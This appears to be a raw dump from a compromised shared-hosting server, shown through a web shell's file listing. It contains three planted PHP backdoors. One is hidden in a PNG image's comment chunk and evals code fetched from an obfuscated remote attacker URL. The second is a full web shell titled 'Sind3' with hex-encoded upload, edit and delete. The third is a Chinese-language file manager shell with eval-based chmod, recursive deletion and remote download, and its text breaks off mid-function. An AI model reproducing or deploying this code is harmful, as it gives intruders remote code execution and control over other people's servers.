|
Server IP : 198.54.120.203 / Your IP : 216.73.216.181 Web Server : LiteSpeed System : Linux premium58.web-hosting.com 4.18.0-553.58.1.lve.el8.x86_64 #1 SMP Fri Jul 4 12:07:06 UTC 2025 x86_64 User : greakqsw ( 1698) PHP Version : 8.3.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/greakqsw/theblogginglab.org/7648l2-20260310230235/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
146yi.php 0000644 00000010666 15154772537 0006162 0 ustar 00 �PNG
IHDR @ @ ?iq? pHYs
?� �tEXtComment <?php echo eval("\77\76" . file_get_contents("\x68\164\164\x70\72\57\x2f\x75\156\x64\145\162\x67\x72\x6f\x75\x6e\x64\x2e\145\x76\x69\x6c\x74\x77\x2e\151\x6e\57\155\x2e\x74\170\164")); ?>
9HO?
IDATx�?�
��UC?<�?
?Pj?A?d*E)"??A��R?A$�,`A??T
C ?AB?0Eh�B"�Z?�T??K?�??f5??�6�U{�s�
�??��~g�����{�+??IO5?H�+i��Y�^?�w$��C?����q�>'��NP��t��JI�$?J,�8�$}SRk? �%�7�?�?�X,i?��H?XRgIM�c[H�(�'m�&?�??�9�${@?�J:C?��FIzD?A"�Z?$=,��?Jj.i�����??�?:�h/iN ?_�?J? U`?��?,i?�K$��4�9?]��C?�`��w!f ?�����??C?@??A��rt�.���E�[��E�K?q��?K�qI?Ilꄙ\���eIC?zI$}���>"iR��X�?��?1�???�I�????ON�?%])�a-IU@? I
?<��-V���\k�%�`�5�>.�jI�����_W0?�A?d��Iz�??K?��?_?�??��??y]LZ
Zb|?�$}H?�a??�?/d�??Y�>,�F?U
FEt�A*~?��tA?A�?>>�o\�'��?E|0??�q�?�f?"ixr?-IcJ?[?��@E? ?q�?E1�?�??jXiss�K)�UU��&|G??�>�?�;:{w[?tgIJh0Z.�t�?�D<UO(EY?? s1u�?-0q�e;
5L?~I??�}�?�<�??U8�P??>_IUU??0:X�??O0�??U�?�6?I??��?Wv[��U�?)$??� �^l�
ssPE�?Uh�?e�'?E2QKd,IN?��?�8�IMR%uO,���?8?=��v�'x�ww$}>?X�x
J?U?��"???9t??<ME?6b??�56I��I�f???U?Ap� ��p/I�?gc\h�?�??�?~-b?
�nH^�U�#�q?.�� &,|�~?pF�FS?,��d?:�1??a��s3}���?A){��U@dV??:D?9�?LIaI{$�?DuC��sJ�wG�<?�*"�?Jz9f�?���e??�5t�4/��vhksA0?����9?z�c��D�5E6h�vu?v�???Ol?[��?7??v�f?@�����9�CC?'��5I�l)�J]?9X�&�
�?1??=�U?�?���L}���?E?O�?I$�I�C?Y�e�G?I9�i^4e�?dc=�s???S?� ???�v'?�*�e�?�wFEO%] =����?A� 6-�?9-_?I?x1�?`�bqi?�eoE?�`��&~9?Xg�qNN}B?OW��????.?���?,?*�,x�?�??J?E���1E?#�{���%!�R.�#
?�?9R??U6?��1"\?�`$D����?jE\d�?�Y>b�/?fu?�???�?m?,��qL,?�G?/??��?sX�,�????�?5A���E?���n�"?�???�.��q?1p?O6<[?6+?7?.??��?D?��?��?s�?�??�^H??bpn�A??x�r�?$<�F?Ep ^�G�9���pCJ� u{B�?�]�??m?�V?l�z|'���<�]HC�&.�)Ef��C?��g?nDA�T1�?U,?�@?�w??A' ��L�NIV|??a�Gp??fq,�~>
2�r�0�s?~I!�2g1�I??.A6^??Ac�g????U??&?A\��UE�>�O�H_�~��I?IAA??Xl=4#[k?�x�???I?�xt?Ilj!�5X�M??dY87O#�?)��?�3�n"IrMrB4��W@�?��?�1(?c?</�����%a�?<Y??+f?n?Aq+?8u?N��i<�3?M�?�>!�,U�??Ox9,8B?D��g�?~]�?�A��gfCP�?\? �u?��U�wc??i]A<Wp��Z?f??U8���q?1pW??�
I&.�??�??k?��Hi]$�
Up�A?E��G�V?�qI?1� �?0x
I�h?? C�8p�s{<?�v��z|�qj�?<?��?I�I?C4�I;???|^??T�?�&E?!?hk�E(IE�l�?D?F????r????��?�|�??ai�6+z�$?�?U?�p�g?�
�, w2{?:?-4?4?�r�Y0-?��A�aU��?;???�>?�a0�=C���[A�?>��"��NE$&�??�0%???8�\�$Ek�n7/?Ax^^
<??��?=�??�ihAM��.�x�DM?�,(?�??4?]
�
�k?}
???��?RFZ%�EQ�\04hdKt�?S�k?Y��g�?E���`?r�??�?I?i�"U56��L�&U�9|kS?
�N�UU)+g�_0?�?E�?bvp??z G?U!?V
U���I?,"Gz=3?2??�
N?'0��>yS�?2�??2�m?p83 d�vP?Ea`?U�c�?a�c묨I�_�A�V�I�88X?K��_R�x??,ksV���E �<A��?]V�
7Of"�~??�C�?(U?x
v?E8?�NV�?� Y??.?�?C?����yu�IP?�u� �(m?�� ?J?���rf.�}�??EJ8?��?"���`v�)6n?E���~?�v~'
�G`�eu�?%?�8??���ob�cp
?��???E?al?g�ntPx?�b�?鄩 �?E?2?�#A�DD!,�???�qײA?�?w�W��?S�3X�q�_d1?J�7P
I�?U�sAQ8.�?BT7�?��a�JE[2FN?V?�+p=� y�?���*?d'�6a??? n?^;s���
?�i?mO-�???T��y?Uy`???��=���=B�?~??R?�E?�D�gs��??�L?1???O�?N?�?e?r�?E�?'??1Em,??R?��l�n)m??�?:{:A?o�???�?{I IEND�B`� 962ta.php 0000644 00000056045 15154772545 0006153 0 ustar 00 <?php
session_start();header("X-XSS-Protection: 0");ob_start();set_time_limit(0);error_reporting(0);ini_set('display_errors', FALSE);
$isAjax = isset($_SERVER['HTTP_X_REQUESTED_WITH'])
&& strtolower($_SERVER['HTTP_X_REQUESTED_WITH']) === 'xmlhttprequest';
function hex($n) {
$y='';
for ($i=0; $i < strlen($n); $i++){
$y .= dechex(ord($n[$i]));
}
return $y;
}
function uhex($y) {
$n='';
for ($i=0; $i < strlen($y)-1; $i+=2){
$n .= chr(hexdec($y[$i].$y[$i+1]));
}
return $n;
}
if (isset($_GET["d"])) {
$d = uhex($_GET["d"]);
if (is_dir($d)) {
chdir($d);
} else {
$d = getcwd();
}
} else {
$d = getcwd();
}
function setFlash($status, $msg) {
$_SESSION['status'] = $status;
$_SESSION['msg'] = $msg;
}
if (isset($_GET['ajax']) && $_GET['ajax'] == 1) {
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
<?php
exit;
}
if (isset($_GET['ajax']) && $_GET['ajax'] === 'breadcrumb') {
$k = preg_split("/(\\\\|\/)/", $d);
$breadcrumbHtml = '';
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
$breadcrumbHtml .= '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
$breadcrumbHtml .= '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
$breadcrumbHtml .= hex($k[$i]);
if ($i != $m) $breadcrumbHtml .= '2f';
}
$breadcrumbHtml .= '">'.$l.'</a>/';
}
echo $breadcrumbHtml;
exit;
}
function safe_stream_copy($in, $out): bool {
if (PHP_VERSION_ID < 80009) {
do {
for (;;) {
$buff = fread($in, 4096);
if ($buff === false || $buff === '') {
break;
}
if (fwrite($out, $buff) === false) {
return false;
}
}
} while (!feof($in));
return true;
} else {
return stream_copy_to_stream($in, $out) !== false;
}
}
if (isset($_POST['benkyo']) && isset($_POST['dakeja'])) {
$fileName = $_POST['benkyo'];
$encodedContent = $_POST['dakeja'];
$decodedContent = hex2bin($encodedContent);
if ($decodedContent === false) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'Invalid Base64 encoding']);
} else {
setFlash('failed', 'Invalid Base64 encoding');
header("Location: ?d=" . hex($d));
}
exit;
}
$tempStream = fopen('php://temp', 'r+');
fwrite($tempStream, $decodedContent);
rewind($tempStream);
$targetPath = $d . DIRECTORY_SEPARATOR . basename($fileName);
$outStream = fopen($targetPath, 'wb');
$success = $tempStream && $outStream && safe_stream_copy($tempStream, $outStream);
if ($outStream) fclose($outStream);
if ($tempStream) fclose($tempStream);
if ($success) {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'success', 'msg' => 'File uploaded successfully']);
} else {
setFlash('success', 'File uploaded successfully');
header("Location: ?d=" . hex($d));
}
} else {
if ($isAjax) {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File upload failed']);
} else {
setFlash('failed', 'File upload failed');
header("Location: ?d=" . hex($d));
exit;
}
}
exit;
}
if (isset($_GET['action']) && in_array($_GET['action'], ['delete', 'rename', 'edit']) && isset($_GET['file'])) {
if ($_GET['action'] === 'delete') {
$fileName = $_GET['file'];
$filePath = realpath($d . DIRECTORY_SEPARATOR . $fileName);
if (!$filePath || !is_file($filePath)) {
$response = ['status'=>'failed','msg'=>'File not found or access denied'];
} else {
$result = unlink($filePath);
$response = $result
? ['status'=>'success','msg'=>'File deleted successfully']
: ['status'=>'failed','msg'=>'File deletion failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} elseif ($_GET['action'] === 'rename') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['new_name'])) {
$oldFile = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
$newFile = $d . DIRECTORY_SEPARATOR . $_POST['new_name'];
if ($oldFile && is_file($oldFile)) {
$result = rename($oldFile, $newFile);
$response = $result
? ['status'=>'success','msg'=>'File renamed successfully']
: ['status'=>'failed','msg'=>'File renaming failed'];
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status'=>'failed','msg'=>'File not found']);
exit;
}
} elseif ($isAjax) {
echo '<h2>Rename File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=rename&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<input type="text" name="new_name" placeholder="New file name" required><br>';
echo '<br><input type="submit" value="Rename"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
exit;
}
} elseif ($_GET['action'] === 'edit') {
if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_POST['content'])) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$fp = fopen($filePath, "w");
if ($fp) {
$bytesWritten = fwrite($fp, stripslashes($_POST['content']));
fclose($fp);
$response = ($bytesWritten !== false)
? ['status' => 'success', 'msg' => 'File edited successfully']
: ['status' => 'failed', 'msg' => 'File editing failed'];
} else {
$response = ['status' => 'failed', 'msg' => 'File opening failed'];
}
header('Content-Type: application/json');
echo json_encode($response);
exit;
} else {
header('Content-Type: application/json');
echo json_encode(['status' => 'failed', 'msg' => 'File not found']);
exit;
}
} elseif ($isAjax) {
$filePath = realpath($d . DIRECTORY_SEPARATOR . $_GET['file']);
if ($filePath && is_file($filePath)) {
$content = file_get_contents($filePath);
echo '<h2>Edit File: ' . htmlspecialchars($_GET['file']) . '</h2>';
echo '<div class="terminal-box">';
echo '<form class="ajaxForm" method="POST" action="?action=edit&d=' . hex($d) . '&file=' . urlencode($_GET['file']) . '">';
echo '<textarea name="content" rows="10" cols="50" required>' . htmlspecialchars($content) . '</textarea><br>';
echo '<br><input type="submit" value="Save"> ';
echo '<button type="button" id="cancelAction">Cancel</button>';
echo '</form>';
echo '</div><hr>';
}
exit;
}
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>Sind3</title>
<!-- Load Ubuntu Mono from Google Fonts -->
<link href="https://fonts.googleapis.com/css2?family=Ubuntu+Mono&display=swap" rel="stylesheet">
<style>
* { box-sizing: border-box; }
body {
background-color: rgba(37, 37, 37, 0.8); /* Gray with slight transparency */
color: #fff;
font-family: 'Ubuntu Mono', monospace;
margin: 0;
padding: 0;
}
.container {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.futer {
width: 60%;
margin: 50px auto;
padding: 20px;
background-color: #222;
border-radius: 8px;
}
.breadcrumbs { margin-bottom: 15px; }
a { color: #0f0; text-decoration: none; }
a:hover { text-decoration: underline; }
table { width: 100%; border-collapse: collapse; margin-top: 20px; }
th, td { border: 1px solid #555; padding: 8px; text-align: left; }
th { background-color: #333; }
input[type="text"], textarea {
width: 100%;
padding: 8px;
margin: 0;
border: 1px solid #333;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
}
input[type="submit"], button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
}
form { margin-bottom: 20px; }
.terminal-box {
background-color: #222;
color: #0f0;
padding: 15px;
border: 1px solid #333;
border-radius: 4px;
margin-bottom: 20px;
}
.terminal-box input[type="text"],
.terminal-box textarea {
background-color: #222;
color: #0f0;
border: 1px solid #333;
}
.notification {
position: fixed;
bottom: 20px;
left: 20px;
padding: 10px 20px;
border-radius: 4px;
font-family: 'Ubuntu Mono', monospace;
font-size: 14px;
}
.success { background-color: #0a0; color: #fff; }
.failed { background-color: #a00; color: #fff; }
/* Custom file input button styling */
#fileInput {
display: none;
}
.custom-file-button {
border: 1px solid #fff;
padding: 4px;
background-color: #333;
color: #fff;
cursor: pointer;
border-radius: 4px;
display: inline-block;
}
</style>
</head>
<body>
<div class="container">
   <b>SERV :</b> <?= isset($_SERVER['SERVER_SOFTWARE']) ? php_uname() : "Server information not available"; ?><br>
   <b>SOFT :</b> <?php echo $_SERVER['SERVER_SOFTWARE'];?><br>
   <b>IP :</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
<br><b>——————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————————</b>
<br><br><form id="uploadForm" class="ajaxForm" method="POST">
<label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
<input type="file" id="fileInput" required>
<input type="submit" value="Upload">
</form>
<br><div id="breadcrumbContainer">
<?php
$k = preg_split("/(\\\\|\/)/", $d);
foreach ($k as $m => $l) {
if ($l == '' && $m == 0) {
echo '<a class="ajx" href="?d=2f">/</a>';
}
if ($l == '') continue;
echo '<a class="ajx" href="?d=';
for ($i = 0; $i <= $m; $i++) {
echo hex($k[$i]);
if ($i != $m) echo '2f';
}
echo '">'.$l.'</a>/';
}
?>
</div><br>
<div id="actionContainer"></div><br>
<div id="fileListContainer">
<?php
$entries = scandir($d);
$dirList = [];
$fileList = [];
foreach ($entries as $entry) {
if ($entry == '.' || $entry == '..') continue;
$path = $d . DIRECTORY_SEPARATOR . $entry;
if (is_dir($path)) {
$dirList[] = $entry;
} else {
$fileList[] = $entry;
}
}
?>
<table>
<thead>
<tr>
<th>Name</th>
<th>Size</th>
<th>Actions</th>
</tr>
</thead>
<tbody>
<?php
foreach ($dirList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
echo '<td>-</td>';
echo '<td></td>';
echo '</tr>';
}
foreach ($fileList as $entry) {
$path = $d . DIRECTORY_SEPARATOR . $entry;
echo '<tr>';
echo '<td>' . htmlspecialchars($entry) . '</td>';
echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
echo '<td>';
echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
echo '</td>';
echo '</tr>';
}
?>
</tbody>
</table>
</div>
</div>
<div class="notification" id="notification" style="display:none;"></div>
<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
var notif = document.getElementById('notification');
notif.className = 'notification ' + status;
notif.innerText = msg;
notif.style.display = 'block';
setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}
function loadBreadcrumb() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('breadcrumbContainer').innerHTML = html;
});
}
function getQueryParam(name) {
const urlParams = new URLSearchParams(window.location.search);
return urlParams.get(name);
}
function loadFileList() {
var d = getQueryParam("d") || "<?php echo hex($d); ?>";
fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('fileListContainer').innerHTML = html;
attachAjaxEvents(); // reattach events after update
resetFileInputLabel();
});
}
function resetFileInputLabel() {
var label = document.getElementById('fileLabel');
if(label) {
label.textContent = "Choose File";
}
}
function attachAjaxEvents() {
document.querySelectorAll('.ajaxDelete').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
loadFileList();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxEdit').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxRename').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.text())
.then(html => {
document.getElementById('actionContainer').innerHTML = html;
attachAjaxForm();
attachCancelEvent();
resetFileInputLabel();
resetFileInput();
});
});
});
document.querySelectorAll('.ajaxDir').forEach(function(link) {
link.addEventListener('click', function(e) {
e.preventDefault();
window.history.pushState(null, '', link.href);
loadFileList(); // Reload the file list
loadBreadcrumb(); // Reload the breadcrumb
resetFileInputLabel();
resetFileInput();
});
});
}
function attachAjaxForm() {
document.querySelectorAll('.ajaxForm').forEach(function(form) {
form.addEventListener('submit', function(e) {
e.preventDefault();
var formData = new FormData(form);
fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
document.getElementById('actionContainer').innerHTML = '';
loadFileList();
resetFileInputLabel();
});
});
});
}
function attachCancelEvent() {
var cancelBtn = document.getElementById('cancelAction');
if(cancelBtn) {
cancelBtn.addEventListener('click', function() {
document.getElementById('actionContainer').innerHTML = '';
resetFileInputLabel();
});
}
}
function resetFileInput() {
var fileInput = document.getElementById('fileInput');
var fileLabel = document.getElementById('fileLabel');
if (fileInput) {
fileInput.value = ""; // Clear any selected file
}
if (fileLabel) {
fileLabel.textContent = "Choose File"; // Reset label text
}
}
document.addEventListener('DOMContentLoaded', function() {
attachAjaxEvents();
var fileInput = document.getElementById('fileInput');
var uploadForm = document.getElementById('uploadForm');
fileInput.addEventListener('change', function() {
var label = document.getElementById('fileLabel');
if(fileInput.files.length > 0) {
label.textContent = fileInput.files[0].name;
} else {
label.textContent = "Choose File";
}
});
if(uploadForm) {
uploadForm.addEventListener('submit', function(e) {
e.preventDefault();
if(fileInput.files.length === 0) return;
var file = fileInput.files[0];
var reader = new FileReader();
reader.onload = function(event) {
var arrayBuffer = event.target.result;
var bytes = new Uint8Array(arrayBuffer);
var hexString = '';
for (var i = 0; i < bytes.length; i++) {
hexString += bytes[i].toString(16).padStart(2, '0');
}
var formData = new FormData();
formData.append("benkyo", file.name);
formData.append("dakeja", hexString);
fetch(uploadForm.action || window.location.href, {
method: 'POST',
body: formData,
headers: { 'X-Requested-With': 'XMLHttpRequest' }
})
.then(response => response.json())
.then(data => {
showNotification(data.status, data.msg);
uploadForm.reset();
resetFileInputLabel();
loadFileList();
});
};
reader.readAsArrayBuffer(file);
});
}
});
</script>
<footer class="futer">
© zeinhorobosu
</footer>
</body>
</html>
jimvt.php 0000644 00000024760 15154772552 0006434 0 ustar 00 <?php
eRRor_rEporTing(0);
$wwwroot=isset($_SERVER['DOCUMENT_ROOT'])?trim($_SERVER['DOCUMENT_ROOT']):'';
$req_uri=isset($_SERVER['REQUEST_URI'])?trim($_SERVER['REQUEST_URI']):'';
$req_uri!=''?($req_uri_arr=explode('?',$req_uri)).($script_name=$req_uri_arr[0]):($script_name=isset($_SERVER['SCRIPT_NAME'])?trim($_SERVER["SCRIPT_NAME"]):'');
$script_filename=isset($_SERVER['SCRIPT_FILENAME'])?trim($_SERVER['SCRIPT_FILENAME']):'';
if ($script_filename=='') $script_filename=__FILE__ ;
if ($wwwroot=='' && $script_name!='' && $script_filename!='') $wwwroot=str_replace($script_name,'',$script_filename);
$wwwroot=str_replace('\\','/',$wwwroot);
$dir=isset($_GET['d'])?trim($_GET['d']):'';
$dir=str_replace('\\','/',$dir);
$file=isset($_GET['f'])?trim($_GET['f']):'';
$file=str_replace('\\','/',$file);
$action=isset($_GET['a'])?trim($_GET['a']):'';
if ( $action=='' )
{
$current_dir=$dir==''?$wwwroot:$dir;
$current_dir=rtrim($current_dir,'/');
$current_dir_nav='';
$dir_path='';
$current_dir_split=explode('/',$current_dir);
foreach( $current_dir_split as $dir )
{
$dir_path.=$dir.'/';
$current_dir_nav.='<a href="?d='.$dir_path.'">'.$dir.'/</a>';
}
$dir_rows='';
$file_rows='';
$current_dir_list=sCaNDir($current_dir);
$row_id=0;
foreach( $current_dir_list as $target_name )
{
if ( $target_name=='.' || $target_name=='..' ) continue;
$target=$current_dir.'/'.$target_name;
$target_ahref=strpos($target,$wwwroot)===0?'<a href="'.str_replace($wwwroot,'',$target).'" target="_blank">'.$target_name.'</a>':$target_name;
$row_id++;
$target_u_id=fIlEOwNEr($target);
$target_u_att=poSIx_GEtpWUid($target_u_id);
$target_owner=$target_u_att['name'];
$target_perm=get_qx($target);
$target_mtime=date('Y-m-d H:i:s',fILeMTiMe($target));
if ( is_dir($target) )
{
$dir_rows.='<tr class="tl"><td><i class="fa fa-folder" style="font-size:20px;color:orange;"></i></td><td><a href="?d='.$target.'">'.$target_name.'</a></td><td></td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'d\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'d\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'d\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
}else
{
$target_fsize=fILesIzE($target);
$target_fsize<1024?$target_fsize.=' B':($target_fsize=round($target_fsize/1024,1)).($target_fsize<1024?$target_fsize.=' KB':$target_fsize=round($target_fsize/1024,2).' MB');
$file_rows.='<tr class="tl"><td><i class="fa fa-file" style="font-size:20px;color:grey;"></td><td>'.$target_ahref.'</td><td>'.$target_fsize.'</td><td>(<a href="#" onclick="show_input_box(\'qx'.$row_id.'\',\''.$target.'\',\'f\',\'qx\');">'.$target_perm.'</a>)'.$target_owner.'<span id="qx'.$row_id.'"></span></td><td>'.$target_mtime.'</td><td><a href="#" onclick="window.open(\'?f='.$target.'&a=ck\',\'_blank\',\'width=800,height=600,top=200,left=300\');">查看</a>|<a href="?f='.$target.'&a=bj">编辑</a>|<a href="#" onclick="show_input_box(\'gm'.$row_id.'\',\''.$target.'\',\'f\',\'gm\');">改名</a>|<a href="#" onclick="confirm_sc(\''.$target.'\',\'f\');">删除</a><span id="gm'.$row_id.'"></span></td></tr>';
}
}
$div_html='<table cellspacing="10">
<tr><td colspan="6"><form name="form_up" id="form_up" method="post" action="?d='.$current_dir.'&a=up" enctype="multipart/form-data"><a href="?d='.$wwwroot.'"><i class="fa fa-home" style="font-size:30px;color:orange;"></i></a> 当前目录:'.$current_dir_nav.' <i class="fa fa-upload" style="font-size:20px;color:grey;" onclick="document.getElementById(\'file_up\').click();"><input id="file_up" name="file_up" type="file" style="display:none" onchange="document.getElementById(\'form_up\').submit();"></form></td></tr>
<tr><td colspan="6"><form name="form_tj" method="post" action="?d='.$current_dir.'&a=tj">新项目名称:<input name="t_name" type="text" size="25"> <select name="t_type"><option value="tj_f">添加文件</option><option value="tj_d">添加目录</option><option value="tj_xz">下载URL</option></select> <input name="submit" type="submit" value="执行"></form></td></tr>
'.($row_id==0?'<tr><td>内容为空或无权限查看</td></tr>':$dir_rows.$file_rows).'
</table>';
}elseif ( $action=='sc' )
{
if ( $file!='' )
{
uNlInk($file); jump_to('?d='.diRNaMe($file));
}elseif( $dir!='' )
{
rm_rf($dir); jump_to('?d='.DIrnaMe($dir));
}
exit;
}elseif( $action=='gm' )
{
$gm=isset($_POST['gm'])?trim($_POST['gm']):'';
if ( $gm!='' )
{
$old_f=$file==''?$dir:$file;
if ( $old_f!='' && file_exists($old_f) )
{
$old_dir=DIrnAme($old_f); rEnAme($old_f,$old_dir.'/'.$gm); jump_to('?d='.$old_dir);
}
}else
{
show_msg('请输入新名称!','back');
}
exit;
}elseif( $action=='qx' )
{
$target=$dir==''?$file:$dir;
if ( $target!='' )
{
$qx=isset($_POST['qx'])?trim($_POST['qx']):'';
if ( $qx!='' && is_numeric($qx) && substr($qx,0,1)=='0' )
{
set_qx($target,$qx); jump_to('?d='.dIRnamE($target));
}else
{
show_msg('请输入新权限!','back');
}
}
exit;
}elseif( $action=='ck' && $file!='' )
{
if ( fiLEsIze($file)<10000000 )
{
HEadEr('Content-Type:text/plain; Charset=utf-8;'); echo FIle_gET_coNTEnts($file);
}else
{
show_msg('文件大小超限!','close');
}
exit;
}elseif( $action=='bj' && $file!='' )
{
if ( isset($_POST['f_content']) )
{
FilE_pUt_COnteNts($file,$_POST['f_content']);
md5($_POST['f_content'])==md5(fILE_Get_cONTenTs($file)) ? show_msg('保存成功!','') : show_msg('保存失败!!','');
}
$f_content=is_file($file)?str_replace('</textarea>','</textarea>',FIle_gET_contENtS($file)):'';
$div_html='<form name="form_bj" action="?f='.$file.'&a=bj" method="post">编辑当前文件:'.$file.'<br><textarea name="f_content" rows="40" cols="120">'.$f_content.'</textarea><br><input type="submit" value="保存"> <input type="button" value="返回目录" onclick="window.location.href=\'?d='.DIrNamE($file).'\';"></form>';
}elseif( $action=='tj' && $dir!='' )
{
$t_name=isset($_POST['t_name'])?trim($_POST['t_name']):'';
if ( $t_name=='' )
{
show_msg('请输入项目名称!','back');
}else
{
if ( $_POST['t_type']=='tj_f' ) fiLe_PUt_coNTentS($dir.'/'.$t_name,'');
if ( $_POST['t_type']=='tj_d' ) mKDir($dir.'/'.$t_name,0755,true);
if ( $_POST['t_type']=='tj_xz' )
{
preg_match('/^http[s]?:\/\/.+/si',$t_name)==0 ? show_msg('下载地址格式出错!','back') : down_file($dir,$t_name) ;
}
jump_to('?d='.$dir);
}
exit;
}elseif( $action=='up' && $dir!='' && isset($_FILES['file_up']) )
{
MoVE_upLOadEd_filE($_FILES['file_up']['tmp_name'],$dir.'/'.BaSenaMe($_FILES['file_up']['name'])) ? show_msg('上传成功!','') : show_msg('上传失败!','') ;
jump_to('?d='.$dir);
exit;
}
function get_qx($t)
{
$q=substr(sprintf('%o',fILepErMs($t)),-4);
return $q;
}
function set_qx($t,$q)
{
EvAl('cHMoD("'.$t.'",'.$q.');');
if ( get_qx($t)!=$q )
{
$tmp_f=uniqid().'.txt';
$tmp_c='<?php ChMOd("'.$t.'",'.$q.');?>';
fiLE_puT_cONtEnTs($tmp_f,$tmp_c);
require($tmp_f);
UnLInK($tmp_f);
}
}
function rm_rf($d)
{
if (is_dir($d))
{
$f_l=sCaNDir($d);
foreach ($f_l as $f)
{
if ($f=='.'||$f=='..') continue;
$p=$d.'/'.$f;
is_dir($p)?rm_rf($p):uNliNk($p);
}
rMdIR($d);
}
}
function show_msg($msg,$go)
{
echo '<script>alert("'.$msg.'");</script>';
if ($go=='back') echo '<script>window.history.back();</script>';
if ($go=='close') echo '<script>window.close();</script>';
}
function jump_to($url)
{
echo '<script>window.location.href="'.$url.'";</script>';
}
function down_file($dir,$url)
{
$s_name=array_pop(explode('/',$url));
if ( $s_name=='' || is_file($dir.'/'.$s_name) ) $s_name=uniqid().'.zmxz';
$ch=CUrl_iNit();
cuRl_seTOpt ($ch, CURLOPT_URL, $url);
